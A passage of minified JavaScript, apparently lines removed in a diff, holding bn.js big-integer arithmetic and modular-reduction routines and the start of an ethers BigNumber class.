(A3 >>> 13) | 0) + (xt2 >>> 26) | 0, xt2 &= 67108863; - var Ft2 = (c3 + (n3 = Math.imul(U2, ft2)) | 0) + ((8191 & (A3 = (A3 = Math.imul(U2, pt2)) + Math.imul(G2, ft2) | 0)) << 13) | 0; - return c3 = ((i3 = Math.imul(G2, pt2)) + (A3 >>> 13) | 0) + (Ft2 >>> 26) | 0, Ft2 &= 67108863, a3[0] = dt2, a3[1] = It2, a3[2] = yt2, a3[3] = Ct2, a3[4] = mt2, a3[5] = Bt2, a3[6] = Et2, a3[7] = wt2, a3[8] = vt2, a3[9] = _t2, a3[10] = Qt2, a3[11] = bt2, a3[12] = kt2, a3[13] = Dt2, a3[14] = St2, a3[15] = Nt2, a3[16] = Mt2, a3[17] = xt2, a3[18] = Ft2, 0 !== c3 && (a3[19] = c3, r5.length++), r5; - }; - function d2(t3, e3, r5) { - r5.negative = e3.negative ^ t3.negative, r5.length = t3.length + e3.length; - for (var n3 = 0, A3 = 0, i3 = 0; i3 < r5.length - 1; i3++) { - var o3 = A3; - A3 = 0; - for (var s3 = 67108863 & n3, a3 = Math.min(i3, e3.length - 1), c3 = Math.max(0, i3 - t3.length + 1); c3 <= a3; c3++) { - var h3 = i3 - c3, g3 = (0 | t3.words[h3]) * (0 | e3.words[c3]), u3 = 67108863 & g3; - s3 = 67108863 & (u3 = u3 + s3 | 0), A3 += (o3 = (o3 = o3 + (g3 / 67108864 | 0) | 0) + (u3 >>> 26) | 0) >>> 26, o3 &= 67108863; - } - r5.words[i3] = s3, n3 = o3, o3 = A3; - } - return 0 !== n3 ? r5.words[i3] = n3 : r5.length--, r5._strip(); - } - function I2(t3, e3, r5) { - return d2(t3, e3, r5); - } - Math.imul || (p2 = f2), A2.prototype.mulTo = function(t3, e3) { - var r5 = this.length + t3.length; - return 10 === this.length && 10 === t3.length ? p2(this, t3, e3) : r5 < 63 ? f2(this, t3, e3) : r5 < 1024 ? d2(this, t3, e3) : I2(this, t3, e3); - }, A2.prototype.mul = function(t3) { - var e3 = new A2(null); - return e3.words = new Array(this.length + t3.length), this.mulTo(t3, e3); - }, A2.prototype.mulf = function(t3) { - var e3 = new A2(null); - return e3.words = new Array(this.length + t3.length), I2(this, t3, e3); - }, A2.prototype.imul = function(t3) { - return this.clone().mulTo(t3, this); - }, A2.prototype.imuln = function(t3) { - var e3 = t3 < 0; - e3 && (t3 = -t3), r4("number" == typeof t3), r4(t3 < 67108864); - for (var n3 = 0, A3 = 0; A3 < this.length; A3++) { - var i3 = (0 | this.words[A3]) * t3, o3 = (67108863 & i3) + (67108863 & n3); - n3 >>= 26, n3 += i3 / 67108864 | 0, n3 += o3 >>> 26, this.words[A3] = 67108863 & o3; - } - return 0 !== n3 && (this.words[A3] = n3, this.length++), e3 ? this.ineg() : this; - }, A2.prototype.muln = function(t3) { - return this.clone().imuln(t3); - }, A2.prototype.sqr = function() { - return this.mul(this); - }, A2.prototype.isqr = function() { - return this.imul(this.clone()); - }, A2.prototype.pow = function(t3) { - var e3 = function(t4) { - for (var e4 = new Array(t4.bitLength()), r6 = 0; r6 < e4.length; r6++) { - var n4 = r6 / 26 | 0, A3 = r6 % 26; - e4[r6] = t4.words[n4] >>> A3 & 1; - } - return e4; - }(t3); - if (0 === e3.length) - return new A2(1); - for (var r5 = this, n3 = 0; n3 < e3.length && 0 === e3[n3]; n3++, r5 = r5.sqr()) - ; - if (++n3 < e3.length) - for (var i3 = r5.sqr(); n3 < e3.length; n3++, i3 = i3.sqr()) - 0 !== e3[n3] && (r5 = r5.mul(i3)); - return r5; - }, A2.prototype.iushln = function(t3) { - r4("number" == typeof t3 && t3 >= 0); - var e3, n3 = t3 % 26, A3 = (t3 - n3) / 26, i3 = 67108863 >>> 26 - n3 << 26 - n3; - if (0 !== n3) { - var o3 = 0; - for (e3 = 0; e3 < this.length; e3++) { - var s3 = this.words[e3] & i3, a3 = (0 | this.words[e3]) - s3 << n3; - this.words[e3] = a3 | o3, o3 = s3 >>> 26 - n3; - } - o3 && (this.words[e3] = o3, this.length++); - } - if (0 !== A3) { - for (e3 = this.length - 1; e3 >= 0; e3--) - this.words[e3 + A3] = this.words[e3]; - for (e3 = 0; e3 < A3; e3++) - this.words[e3] = 0; - this.length += A3; - } - return this._strip(); - }, A2.prototype.ishln = function(t3) { - return r4(0 === this.negative), this.iushln(t3); - }, A2.prototype.iushrn = function(t3, e3, n3) { - var A3; - r4("number" == typeof t3 && t3 >= 0), A3 = e3 ? (e3 - e3 % 26) / 26 : 0; - var i3 = t3 % 26, o3 = Math.min((t3 - i3) / 26, this.length), s3 = 67108863 ^ 67108863 >>> i3 << i3, a3 = n3; - if (A3 -= o3, A3 = Math.max(0, A3), a3) { - for (var c3 = 0; c3 < o3; c3++) - a3.words[c3] = this.words[c3]; - a3.length = o3; - } - if (0 === o3) - ; - else if (this.length > o3) - for (this.length -= o3, c3 = 0; c3 < this.length; c3++) - this.words[c3] = this.words[c3 + o3]; - else - this.words[0] = 0, this.length = 1; - var h3 = 0; - for (c3 = this.length - 1; c3 >= 0 && (0 !== h3 || c3 >= A3); c3--) { - var g3 = 0 | this.words[c3]; - this.words[c3] = h3 << 26 - i3 | g3 >>> i3, h3 = g3 & s3; - } - return a3 && 0 !== h3 && (a3.words[a3.length++] = h3), 0 === this.length && (this.words[0] = 0, this.length = 1), this._strip(); - }, A2.prototype.ishrn = function(t3, e3, n3) { - return r4(0 === this.negative), this.iushrn(t3, e3, n3); - }, A2.prototype.shln = function(t3) { - return this.clone().ishln(t3); - }, A2.prototype.ushln = function(t3) { - return this.clone().iushln(t3); - }, A2.prototype.shrn = function(t3) { - return this.clone().ishrn(t3); - }, A2.prototype.ushrn = function(t3) { - return this.clone().iushrn(t3); - }, A2.prototype.testn = function(t3) { - r4("number" == typeof t3 && t3 >= 0); - var e3 = t3 % 26, n3 = (t3 - e3) / 26, A3 = 1 << e3; - return !(this.length <= n3 || !(this.words[n3] & A3)); - }, A2.prototype.imaskn = function(t3) { - r4("number" == typeof t3 && t3 >= 0); - var e3 = t3 % 26, n3 = (t3 - e3) / 26; - if (r4(0 === this.negative, "imaskn works only with positive numbers"), this.length <= n3) - return this; - if (0 !== e3 && n3++, this.length = Math.min(n3, this.length), 0 !== e3) { - var A3 = 67108863 ^ 67108863 >>> e3 << e3; - this.words[this.length - 1] &= A3; - } - return this._strip(); - }, A2.prototype.maskn = function(t3) { - return this.clone().imaskn(t3); - }, A2.prototype.iaddn = function(t3) { - return r4("number" == typeof t3), r4(t3 < 67108864), t3 < 0 ? this.isubn(-t3) : 0 !== this.negative ? 1 === this.length && (0 | this.words[0]) <= t3 ? (this.words[0] = t3 - (0 | this.words[0]), this.negative = 0, this) : (this.negative = 0, this.isubn(t3), this.negative = 1, this) : this._iaddn(t3); - }, A2.prototype._iaddn = function(t3) { - this.words[0] += t3; - for (var e3 = 0; e3 < this.length && this.words[e3] >= 67108864; e3++) - this.words[e3] -= 67108864, e3 === this.length - 1 ? this.words[e3 + 1] = 1 : this.words[e3 + 1]++; - return this.length = Math.max(this.length, e3 + 1), this; - }, A2.prototype.isubn = function(t3) { - if (r4("number" == typeof t3), r4(t3 < 67108864), t3 < 0) - return this.iaddn(-t3); - if (0 !== this.negative) - return this.negative = 0, this.iaddn(t3), this.negative = 1, this; - if (this.words[0] -= t3, 1 === this.length && this.words[0] < 0) - this.words[0] = -this.words[0], this.negative = 1; - else - for (var e3 = 0; e3 < this.length && this.words[e3] < 0; e3++) - this.words[e3] += 67108864, this.words[e3 + 1] -= 1; - return this._strip(); - }, A2.prototype.addn = function(t3) { - return this.clone().iaddn(t3); - }, A2.prototype.subn = function(t3) { - return this.clone().isubn(t3); - }, A2.prototype.iabs = function() { - return this.negative = 0, this; - }, A2.prototype.abs = function() { - return this.clone().iabs(); - }, A2.prototype._ishlnsubmul = function(t3, e3, n3) { - var A3, i3, o3 = t3.length + n3; - this._expand(o3); - var s3 = 0; - for (A3 = 0; A3 < t3.length; A3++) { - i3 = (0 | this.words[A3 + n3]) + s3; - var a3 = (0 | t3.words[A3]) * e3; - s3 = ((i3 -= 67108863 & a3) >> 26) - (a3 / 67108864 | 0), this.words[A3 + n3] = 67108863 & i3; - } - for (; A3 < this.length - n3; A3++) - s3 = (i3 = (0 | this.words[A3 + n3]) + s3) >> 26, this.words[A3 + n3] = 67108863 & i3; - if (0 === s3) - return this._strip(); - for (r4(-1 === s3), s3 = 0, A3 = 0; A3 < this.length; A3++) - s3 = (i3 = -(0 | this.words[A3]) + s3) >> 26, this.words[A3] = 67108863 & i3; - return this.negative = 1, this._strip(); - }, A2.prototype._wordDiv = function(t3, e3) { - var r5 = (this.length, t3.length), n3 = this.clone(), i3 = t3, o3 = 0 | i3.words[i3.length - 1]; - 0 != (r5 = 26 - this._countBits(o3)) && (i3 = i3.ushln(r5), n3.iushln(r5), o3 = 0 | i3.words[i3.length - 1]); - var s3, a3 = n3.length - i3.length; - if ("mod" !== e3) { - (s3 = new A2(null)).length = a3 + 1, s3.words = new Array(s3.length); - for (var c3 = 0; c3 < s3.length; c3++) - s3.words[c3] = 0; - } - var h3 = n3.clone()._ishlnsubmul(i3, 1, a3); - 0 === h3.negative && (n3 = h3, s3 && (s3.words[a3] = 1)); - for (var g3 = a3 - 1; g3 >= 0; g3--) { - var u3 = 67108864 * (0 | n3.words[i3.length + g3]) + (0 | n3.words[i3.length + g3 - 1]); - for (u3 = Math.min(u3 / o3 | 0, 67108863), n3._ishlnsubmul(i3, u3, g3); 0 !== n3.negative; ) - u3--, n3.negative = 0, n3._ishlnsubmul(i3, 1, g3), n3.isZero() || (n3.negative ^= 1); - s3 && (s3.words[g3] = u3); - } - return s3 && s3._strip(), n3._strip(), "div" !== e3 && 0 !== r5 && n3.iushrn(r5), { div: s3 || null, mod: n3 }; - }, A2.prototype.divmod = function(t3, e3, n3) { - return r4(!t3.isZero()), this.isZero() ? { div: new A2(0), mod: new A2(0) } : 0 !== this.negative && 0 === t3.negative ? (s3 = this.neg().divmod(t3, e3), "mod" !== e3 && (i3 = s3.div.neg()), "div" !== e3 && (o3 = s3.mod.neg(), n3 && 0 !== o3.negative && o3.iadd(t3)), { div: i3, mod: o3 }) : 0 === this.negative && 0 !== t3.negative ? (s3 = this.divmod(t3.neg(), e3), "mod" !== e3 && (i3 = s3.div.neg()), { div: i3, mod: s3.mod }) : this.negative & t3.negative ? (s3 = this.neg().divmod(t3.neg(), e3), "div" !== e3 && (o3 = s3.mod.neg(), n3 && 0 !== o3.negative && o3.isub(t3)), { div: s3.div, mod: o3 }) : t3.length > this.length || this.cmp(t3) < 0 ? { div: new A2(0), mod: this } : 1 === t3.length ? "div" === e3 ? { div: this.divn(t3.words[0]), mod: null } : "mod" === e3 ? { div: null, mod: new A2(this.modrn(t3.words[0])) } : { div: this.divn(t3.words[0]), mod: new A2(this.modrn(t3.words[0])) } : this._wordDiv(t3, e3); - var i3, o3, s3; - }, A2.prototype.div = function(t3) { - return this.divmod(t3, "div", false).div; - }, A2.prototype.mod = function(t3) { - return this.divmod(t3, "mod", false).mod; - }, A2.prototype.umod = function(t3) { - return this.divmod(t3, "mod", true).mod; - }, A2.prototype.divRound = function(t3) { - var e3 = this.divmod(t3); - if (e3.mod.isZero()) - return e3.div; - var r5 = 0 !== e3.div.negative ? e3.mod.isub(t3) : e3.mod, n3 = t3.ushrn(1), A3 = t3.andln(1), i3 = r5.cmp(n3); - return i3 < 0 || 1 === A3 && 0 === i3 ? e3.div : 0 !== e3.div.negative ? e3.div.isubn(1) : e3.div.iaddn(1); - }, A2.prototype.modrn = function(t3) { - var e3 = t3 < 0; - e3 && (t3 = -t3), r4(t3 <= 67108863); - for (var n3 = (1 << 26) % t3, A3 = 0, i3 = this.length - 1; i3 >= 0; i3--) - A3 = (n3 * A3 + (0 | this.words[i3])) % t3; - return e3 ? -A3 : A3; - }, A2.prototype.modn = function(t3) { - return this.modrn(t3); - }, A2.prototype.idivn = function(t3) { - var e3 = t3 < 0; - e3 && (t3 = -t3), r4(t3 <= 67108863); - for (var n3 = 0, A3 = this.length - 1; A3 >= 0; A3--) { - var i3 = (0 | this.words[A3]) + 67108864 * n3; - this.words[A3] = i3 / t3 | 0, n3 = i3 % t3; - } - return this._strip(), e3 ? this.ineg() : this; - }, A2.prototype.divn = function(t3) { - return this.clone().idivn(t3); - }, A2.prototype.egcd = function(t3) { - r4(0 === t3.negative), r4(!t3.isZero()); - var e3 = this, n3 = t3.clone(); - e3 = 0 !== e3.negative ? e3.umod(t3) : e3.clone(); - for (var i3 = new A2(1), o3 = new A2(0), s3 = new A2(0), a3 = new A2(1), c3 = 0; e3.isEven() && n3.isEven(); ) - e3.iushrn(1), n3.iushrn(1), ++c3; - for (var h3 = n3.clone(), g3 = e3.clone(); !e3.isZero(); ) { - for (var u3 = 0, l3 = 1; !(e3.words[0] & l3) && u3 < 26; ++u3, l3 <<= 1) - ; - if (u3 > 0) - for (e3.iushrn(u3); u3-- > 0; ) - (i3.isOdd() || o3.isOdd()) && (i3.iadd(h3), o3.isub(g3)), i3.iushrn(1), o3.iushrn(1); - for (var f3 = 0, p3 = 1; !(n3.words[0] & p3) && f3 < 26; ++f3, p3 <<= 1) - ; - if (f3 > 0) - for (n3.iushrn(f3); f3-- > 0; ) - (s3.isOdd() || a3.isOdd()) && (s3.iadd(h3), a3.isub(g3)), s3.iushrn(1), a3.iushrn(1); - e3.cmp(n3) >= 0 ? (e3.isub(n3), i3.isub(s3), o3.isub(a3)) : (n3.isub(e3), s3.isub(i3), a3.isub(o3)); - } - return { a: s3, b: a3, gcd: n3.iushln(c3) }; - }, A2.prototype._invmp = function(t3) { - r4(0 === t3.negative), r4(!t3.isZero()); - var e3 = this, n3 = t3.clone(); - e3 = 0 !== e3.negative ? e3.umod(t3) : e3.clone(); - for (var i3, o3 = new A2(1), s3 = new A2(0), a3 = n3.clone(); e3.cmpn(1) > 0 && n3.cmpn(1) > 0; ) { - for (var c3 = 0, h3 = 1; !(e3.words[0] & h3) && c3 < 26; ++c3, h3 <<= 1) - ; - if (c3 > 0) - for (e3.iushrn(c3); c3-- > 0; ) - o3.isOdd() && o3.iadd(a3), o3.iushrn(1); - for (var g3 = 0, u3 = 1; !(n3.words[0] & u3) && g3 < 26; ++g3, u3 <<= 1) - ; - if (g3 > 0) - for (n3.iushrn(g3); g3-- > 0; ) - s3.isOdd() && s3.iadd(a3), s3.iushrn(1); - e3.cmp(n3) >= 0 ? (e3.isub(n3), o3.isub(s3)) : (n3.isub(e3), s3.isub(o3)); - } - return (i3 = 0 === e3.cmpn(1) ? o3 : s3).cmpn(0) < 0 && i3.iadd(t3), i3; - }, A2.prototype.gcd = function(t3) { - if (this.isZero()) - return t3.abs(); - if (t3.isZero()) - return this.abs(); - var e3 = this.clone(), r5 = t3.clone(); - e3.negative = 0, r5.negative = 0; - for (var n3 = 0; e3.isEven() && r5.isEven(); n3++) - e3.iushrn(1), r5.iushrn(1); - for (; ; ) { - for (; e3.isEven(); ) - e3.iushrn(1); - for (; r5.isEven(); ) - r5.iushrn(1); - var A3 = e3.cmp(r5); - if (A3 < 0) { - var i3 = e3; - e3 = r5, r5 = i3; - } else if (0 === A3 || 0 === r5.cmpn(1)) - break; - e3.isub(r5); - } - return r5.iushln(n3); - }, A2.prototype.invm = function(t3) { - return this.egcd(t3).a.umod(t3); - }, A2.prototype.isEven = function() { - return !(1 & this.words[0]); - }, A2.prototype.isOdd = function() { - return !(1 & ~this.words[0]); - }, A2.prototype.andln = function(t3) { - return this.words[0] & t3; - }, A2.prototype.bincn = function(t3) { - r4("number" == typeof t3); - var e3 = t3 % 26, n3 = (t3 - e3) / 26, A3 = 1 << e3; - if (this.length <= n3) - return this._expand(n3 + 1), this.words[n3] |= A3, this; - for (var i3 = A3, o3 = n3; 0 !== i3 && o3 < this.length; o3++) { - var s3 = 0 | this.words[o3]; - i3 = (s3 += i3) >>> 26, s3 &= 67108863, this.words[o3] = s3; - } - return 0 !== i3 && (this.words[o3] = i3, this.length++), this; - }, A2.prototype.isZero = function() { - return 1 === this.length && 0 === this.words[0]; - }, A2.prototype.cmpn = function(t3) { - var e3, n3 = t3 < 0; - if (0 !== this.negative && !n3) - return -1; - if (0 === this.negative && n3) - return 1; - if (this._strip(), this.length > 1) - e3 = 1; - else { - n3 && (t3 = -t3), r4(t3 <= 67108863, "Number is too big"); - var A3 = 0 | this.words[0]; - e3 = A3 === t3 ? 0 : A3 < t3 ? -1 : 1; - } - return 0 !== this.negative ? 0 | -e3 : e3; - }, A2.prototype.cmp = function(t3) { - if (0 !== this.negative && 0 === t3.negative) - return -1; - if (0 === this.negative && 0 !== t3.negative) - return 1; - var e3 = this.ucmp(t3); - return 0 !== this.negative ? 0 | -e3 : e3; - }, A2.prototype.ucmp = function(t3) { - if (this.length > t3.length) - return 1; - if (this.length < t3.length) - return -1; - for (var e3 = 0, r5 = this.length - 1; r5 >= 0; r5--) { - var n3 = 0 | this.words[r5], A3 = 0 | t3.words[r5]; - if (n3 !== A3) { - n3 < A3 ? e3 = -1 : n3 > A3 && (e3 = 1); - break; - } - } - return e3; - }, A2.prototype.gtn = function(t3) { - return 1 === this.cmpn(t3); - }, A2.prototype.gt = function(t3) { - return 1 === this.cmp(t3); - }, A2.prototype.gten = function(t3) { - return this.cmpn(t3) >= 0; - }, A2.prototype.gte = function(t3) { - return this.cmp(t3) >= 0; - }, A2.prototype.ltn = function(t3) { - return -1 === this.cmpn(t3); - }, A2.prototype.lt = function(t3) { - return -1 === this.cmp(t3); - }, A2.prototype.lten = function(t3) { - return this.cmpn(t3) <= 0; - }, A2.prototype.lte = function(t3) { - return this.cmp(t3) <= 0; - }, A2.prototype.eqn = function(t3) { - return 0 === this.cmpn(t3); - }, A2.prototype.eq = function(t3) { - return 0 === this.cmp(t3); - }, A2.red = function(t3) { - return new v2(t3); - }, A2.prototype.toRed = function(t3) { - return r4(!this.red, "Already a number in reduction context"), r4(0 === this.negative, "red works only with positives"), t3.convertTo(this)._forceRed(t3); - }, A2.prototype.fromRed = function() { - return r4(this.red, "fromRed works only with numbers in reduction context"), this.red.convertFrom(this); - }, A2.prototype._forceRed = function(t3) { - return this.red = t3, this; - }, A2.prototype.forceRed = function(t3) { - return r4(!this.red, "Already a number in reduction context"), this._forceRed(t3); - }, A2.prototype.redAdd = function(t3) { - return r4(this.red, "redAdd works only with red numbers"), this.red.add(this, t3); - }, A2.prototype.redIAdd = function(t3) { - return r4(this.red, "redIAdd works only with red numbers"), this.red.iadd(this, t3); - }, A2.prototype.redSub = function(t3) { - return r4(this.red, "redSub works only with red numbers"), this.red.sub(this, t3); - }, A2.prototype.redISub = function(t3) { - return r4(this.red, "redISub works only with red numbers"), this.red.isub(this, t3); - }, A2.prototype.redShl = function(t3) { - return r4(this.red, "redShl works only with red numbers"), this.red.shl(this, t3); - }, A2.prototype.redMul = function(t3) { - return r4(this.red, "redMul works only with red numbers"), this.red._verify2(this, t3), this.red.mul(this, t3); - }, A2.prototype.redIMul = function(t3) { - return r4(this.red, "redMul works only with red numbers"), this.red._verify2(this, t3), this.red.imul(this, t3); - }, A2.prototype.redSqr = function() { - return r4(this.red, "redSqr works only with red numbers"), this.red._verify1(this), this.red.sqr(this); - }, A2.prototype.redISqr = function() { - return r4(this.red, "redISqr works only with red numbers"), this.red._verify1(this), this.red.isqr(this); - }, A2.prototype.redSqrt = function() { - return r4(this.red, "redSqrt works only with red numbers"), this.red._verify1(this), this.red.sqrt(this); - }, A2.prototype.redInvm = function() { - return r4(this.red, "redInvm works only with red numbers"), this.red._verify1(this), this.red.invm(this); - }, A2.prototype.redNeg = function() { - return r4(this.red, "redNeg works only with red numbers"), this.red._verify1(this), this.red.neg(this); - }, A2.prototype.redPow = function(t3) { - return r4(this.red && !t3.red, "redPow(normalNum)"), this.red._verify1(this), this.red.pow(this, t3); - }; - var y2 = { k256: null, p224: null, p192: null, p25519: null }; - function C2(t3, e3) { - this.name = t3, this.p = new A2(e3, 16), this.n = this.p.bitLength(), this.k = new A2(1).iushln(this.n).isub(this.p), this.tmp = this._tmp(); - } - function m2() { - C2.call(this, "k256", "ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff fffffffe fffffc2f"); - } - function B2() { - C2.call(this, "p224", "ffffffff ffffffff ffffffff ffffffff 00000000 00000000 00000001"); - } - function E2() { - C2.call(this, "p192", "ffffffff ffffffff ffffffff fffffffe ffffffff ffffffff"); - } - function w2() { - C2.call(this, "25519", "7fffffffffffffff ffffffffffffffff ffffffffffffffff ffffffffffffffed"); - } - function v2(t3) { - if ("string" == typeof t3) { - var e3 = A2._prime(t3); - this.m = e3.p, this.prime = e3; - } else - r4(t3.gtn(1), "modulus must be greater than 1"), this.m = t3, this.prime = null; - } - function _2(t3) { - v2.call(this, t3), this.shift = this.m.bitLength(), this.shift % 26 != 0 && (this.shift += 26 - this.shift % 26), this.r = new A2(1).iushln(this.shift), this.r2 = this.imod(this.r.sqr()), this.rinv = this.r._invmp(this.m), this.minv = this.rinv.mul(this.r).isubn(1).div(this.m), this.minv = this.minv.umod(this.r), this.minv = this.r.sub(this.minv); - } - C2.prototype._tmp = function() { - var t3 = new A2(null); - return t3.words = new Array(Math.ceil(this.n / 13)), t3; - }, C2.prototype.ireduce = function(t3) { - var e3, r5 = t3; - do { - this.split(r5, this.tmp), e3 = (r5 = (r5 = this.imulK(r5)).iadd(this.tmp)).bitLength(); - } while (e3 > this.n); - var n3 = e3 < this.n ? -1 : r5.ucmp(this.p); - return 0 === n3 ? (r5.words[0] = 0, r5.length = 1) : n3 > 0 ? r5.isub(this.p) : void 0 !== r5.strip ? r5.strip() : r5._strip(), r5; - }, C2.prototype.split = function(t3, e3) { - t3.iushrn(this.n, 0, e3); - }, C2.prototype.imulK = function(t3) { - return t3.imul(this.k); - }, n2(m2, C2), m2.prototype.split = function(t3, e3) { - for (var r5 = 4194303, n3 = Math.min(t3.length, 9), A3 = 0; A3 < n3; A3++) - e3.words[A3] = t3.words[A3]; - if (e3.length = n3, t3.length <= 9) - return t3.words[0] = 0, void (t3.length = 1); - var i3 = t3.words[9]; - for (e3.words[e3.length++] = i3 & r5, A3 = 10; A3 < t3.length; A3++) { - var o3 = 0 | t3.words[A3]; - t3.words[A3 - 10] = (o3 & r5) << 4 | i3 >>> 22, i3 = o3; - } - i3 >>>= 22, t3.words[A3 - 10] = i3, 0 === i3 && t3.length > 10 ? t3.length -= 10 : t3.length -= 9; - }, m2.prototype.imulK = function(t3) { - t3.words[t3.length] = 0, t3.words[t3.length + 1] = 0, t3.length += 2; - for (var e3 = 0, r5 = 0; r5 < t3.length; r5++) { - var n3 = 0 | t3.words[r5]; - e3 += 977 * n3, t3.words[r5] = 67108863 & e3, e3 = 64 * n3 + (e3 / 67108864 | 0); - } - return 0 === t3.words[t3.length - 1] && (t3.length--, 0 === t3.words[t3.length - 1] && t3.length--), t3; - }, n2(B2, C2), n2(E2, C2), n2(w2, C2), w2.prototype.imulK = function(t3) { - for (var e3 = 0, r5 = 0; r5 < t3.length; r5++) { - var n3 = 19 * (0 | t3.words[r5]) + e3, A3 = 67108863 & n3; - n3 >>>= 26, t3.words[r5] = A3, e3 = n3; - } - return 0 !== e3 && (t3.words[t3.length++] = e3), t3; - }, A2._prime = function(t3) { - if (y2[t3]) - return y2[t3]; - var e3; - if ("k256" === t3) - e3 = new m2(); - else if ("p224" === t3) - e3 = new B2(); - else if ("p192" === t3) - e3 = new E2(); - else { - if ("p25519" !== t3) - throw new Error("Unknown prime " + t3); - e3 = new w2(); - } - return y2[t3] = e3, e3; - }, v2.prototype._verify1 = function(t3) { - r4(0 === t3.negative, "red works only with positives"), r4(t3.red, "red works only with red numbers"); - }, v2.prototype._verify2 = function(t3, e3) { - r4(!(t3.negative | e3.negative), "red works only with positives"), r4(t3.red && t3.red === e3.red, "red works only with red numbers"); - }, v2.prototype.imod = function(t3) { - return this.prime ? this.prime.ireduce(t3)._forceRed(this) : (c2(t3, t3.umod(this.m)._forceRed(this)), t3); - }, v2.prototype.neg = function(t3) { - return t3.isZero() ? t3.clone() : this.m.sub(t3)._forceRed(this); - }, v2.prototype.add = function(t3, e3) { - this._verify2(t3, e3); - var r5 = t3.add(e3); - return r5.cmp(this.m) >= 0 && r5.isub(this.m), r5._forceRed(this); - }, v2.prototype.iadd = function(t3, e3) { - this._verify2(t3, e3); - var r5 = t3.iadd(e3); - return r5.cmp(this.m) >= 0 && r5.isub(this.m), r5; - }, v2.prototype.sub = function(t3, e3) { - this._verify2(t3, e3); - var r5 = t3.sub(e3); - return r5.cmpn(0) < 0 && r5.iadd(this.m), r5._forceRed(this); - }, v2.prototype.isub = function(t3, e3) { - this._verify2(t3, e3); - var r5 = t3.isub(e3); - return r5.cmpn(0) < 0 && r5.iadd(this.m), r5; - }, v2.prototype.shl = function(t3, e3) { - return this._verify1(t3), this.imod(t3.ushln(e3)); - }, v2.prototype.imul = function(t3, e3) { - return this._verify2(t3, e3), this.imod(t3.imul(e3)); - }, v2.prototype.mul = function(t3, e3) { - return this._verify2(t3, e3), this.imod(t3.mul(e3)); - }, v2.prototype.isqr = function(t3) { - return this.imul(t3, t3.clone()); - }, v2.prototype.sqr = function(t3) { - return this.mul(t3, t3); - }, v2.prototype.sqrt = function(t3) { - if (t3.isZero()) - return t3.clone(); - var e3 = this.m.andln(3); - if (r4(e3 % 2 == 1), 3 === e3) { - var n3 = this.m.add(new A2(1)).iushrn(2); - return this.pow(t3, n3); - } - for (var i3 = this.m.subn(1), o3 = 0; !i3.isZero() && 0 === i3.andln(1); ) - o3++, i3.iushrn(1); - r4(!i3.isZero()); - var s3 = new A2(1).toRed(this), a3 = s3.redNeg(), c3 = this.m.subn(1).iushrn(1), h3 = this.m.bitLength(); - for (h3 = new A2(2 * h3 * h3).toRed(this); 0 !== this.pow(h3, c3).cmp(a3); ) - h3.redIAdd(a3); - for (var g3 = this.pow(h3, i3), u3 = this.pow(t3, i3.addn(1).iushrn(1)), l3 = this.pow(t3, i3), f3 = o3; 0 !== l3.cmp(s3); ) { - for (var p3 = l3, d3 = 0; 0 !== p3.cmp(s3); d3++) - p3 = p3.redSqr(); - r4(d3 < f3); - var I3 = this.pow(g3, new A2(1).iushln(f3 - d3 - 1)); - u3 = u3.redMul(I3), g3 = I3.redSqr(), l3 = l3.redMul(g3), f3 = d3; - } - return u3; - }, v2.prototype.invm = function(t3) { - var e3 = t3._invmp(this.m); - return 0 !== e3.negative ? (e3.negative = 0, this.imod(e3).redNeg()) : this.imod(e3); - }, v2.prototype.pow = function(t3, e3) { - if (e3.isZero()) - return new A2(1).toRed(this); - if (0 === e3.cmpn(1)) - return t3.clone(); - var r5 = new Array(16); - r5[0] = new A2(1).toRed(this), r5[1] = t3; - for (var n3 = 2; n3 < r5.length; n3++) - r5[n3] = this.mul(r5[n3 - 1], t3); - var i3 = r5[0], o3 = 0, s3 = 0, a3 = e3.bitLength() % 26; - for (0 === a3 && (a3 = 26), n3 = e3.length - 1; n3 >= 0; n3--) { - for (var c3 = e3.words[n3], h3 = a3 - 1; h3 >= 0; h3--) { - var g3 = c3 >> h3 & 1; - i3 !== r5[0] && (i3 = this.sqr(i3)), 0 !== g3 || 0 !== o3 ? (o3 <<= 1, o3 |= g3, (4 == ++s3 || 0 === n3 && 0 === h3) && (i3 = this.mul(i3, r5[o3]), s3 = 0, o3 = 0)) : s3 = 0; - } - a3 = 26; - } - return i3; - }, v2.prototype.convertTo = function(t3) { - var e3 = t3.umod(this.m); - return e3 === t3 ? e3.clone() : e3; - }, v2.prototype.convertFrom = function(t3) { - var e3 = t3.clone(); - return e3.red = null, e3; - }, A2.mont = function(t3) { - return new _2(t3); - }, n2(_2, v2), _2.prototype.convertTo = function(t3) { - return this.imod(t3.ushln(this.shift)); - }, _2.prototype.convertFrom = function(t3) { - var e3 = this.imod(t3.mul(this.rinv)); - return e3.red = null, e3; - }, _2.prototype.imul = function(t3, e3) { - if (t3.isZero() || e3.isZero()) - return t3.words[0] = 0, t3.length = 1, t3; - var r5 = t3.imul(e3), n3 = r5.maskn(this.shift).mul(this.minv).imaskn(this.shift).mul(this.m), A3 = r5.isub(n3).iushrn(this.shift), i3 = A3; - return A3.cmp(this.m) >= 0 ? i3 = A3.isub(this.m) : A3.cmpn(0) < 0 && (i3 = A3.iadd(this.m)), i3._forceRed(this); - }, _2.prototype.mul = function(t3, e3) { - if (t3.isZero() || e3.isZero()) - return new A2(0)._forceRed(this); - var r5 = t3.mul(e3), n3 = r5.maskn(this.shift).mul(this.minv).imaskn(this.shift).mul(this.m), i3 = r5.isub(n3).iushrn(this.shift), o3 = i3; - return i3.cmp(this.m) >= 0 ? o3 = i3.isub(this.m) : i3.cmpn(0) < 0 && (o3 = i3.iadd(this.m)), o3._forceRed(this); - }, _2.prototype.invm = function(t3) { - return this.imod(t3._invmp(this.m).mul(this.r2))._forceRed(this); - }; - }(P, t); - var R = "bignumber/5.7.0"; - var U = e(P.exports).BN; - var G = new m(R); - var H = {}; - var L = 9007199254740991; - var O = false; - var Y = class t2 { - constructor(t3, e2) { - t3 !== H && G.throwError("cannot call constructor directly; use BigNumber.from", m.errors.UNSUPPORTED_OPERATION, { operation: "new (BigNumber)" }), this._hex = e2, this._isBigNumber = true, Object.freeze(this); - } - fromTwos(t3) { - return J(j(this).fromTwos(t3)); - } - toTwos(t3) { - return J(j(this).toTwos(t3)); - } - abs() { - return "-" === this._hex[0] ? t2.from(this._hex.substring(1)) : this; - } - add(t3) { - return J(j(this).add(j(t3))); - } - sub(t3) { - return J(j(this).sub(j(t3))); - } - div(e2) { - return t2.from(e2).isZero() && z("division-by-zero", "div"), J(j(this).div(j(e2))); - } - mul(t3) { - return 